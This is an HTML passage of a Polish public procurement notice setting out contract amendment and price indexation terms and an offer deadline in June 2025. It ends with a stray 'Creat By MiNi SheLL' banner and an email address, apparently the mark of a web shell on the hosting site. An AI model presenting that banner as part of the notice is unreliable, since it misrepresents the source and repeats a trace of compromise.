4 do SWZ.<br/>Strony dopuszczają możliwość zmiany Umowy w zakresie przedłużenia terminu jej obowiązywania, w przypadku zmian harmonogramu realizacji Projektu.<br/>Zamawiający, na podstawie art. 439 ust. 1 ustawy z dnia 11 września 2019 roku - Prawo zamówień publicznych dopuszcza możliwość zmiany wynagrodzenia Wykonawcy w przypadku zmiany kosztów związanych z realizacją zamówienia (waloryzacja). Zamawiający określa, że:<br/>1)	wysokość wynagrodzenia wykonawcy może ulec zmianie w przypadku zmiany kosztów realizowania usługi przez Wykonawcę<br/>2)	przy zmianie wynagrodzenia strony będą brały pod uwagę wyłącznie faktycznie koszty ponoszone przez Wykonawcę;<br/>3)	wynagrodzenie będzie podlegało waloryzacji, gdy wartość zmiany kosztów związanych z realizacją zamówienia przekroczy 30 % w stosunku do kosztów z chwili zawarcia umowy.<br/>4)	wynagrodzenie zostanie zwiększone w taki sposób, aby pokryć kwotę odpowiadającą zwiększonym kosztom realizacji zamówienia;<br/>5)	Wynagrodzenie będzie podlegało waloryzacji maksymalnie do 30% wynagrodzenia, o którym mowa w § 9 Umowy,<br/>6)	postanowień umownych w zakresie waloryzacji nie stosuje się od chwili osiągnięcia limitu, o którym w mowa w pkt 5) powyżej,<br/>7)	zmiana wysokości wynagrodzenia opisana w niniejszym ustępie następuje w przypadku ziszczenia się powyższych warunków. <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2025-06-10 09:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">Drogą elektroniczną za pośrednictwem: https://ezamowienia.gov.pl/mp-client/tenders/ocds-148610-a91b1c26-cf6d-463c-8e1e-85a6a27377ea</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2025-06-10 09:30</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2025-07-09</span></h3> <h3 class="mb-0">8.5.) Zamawiający przewiduje wybór najkorzystniejszej oferty z możliwością negocjacji: <span class="normal">Tak</span></h3>

Creat By MiNi SheLL
Email: jattceo@gmail.com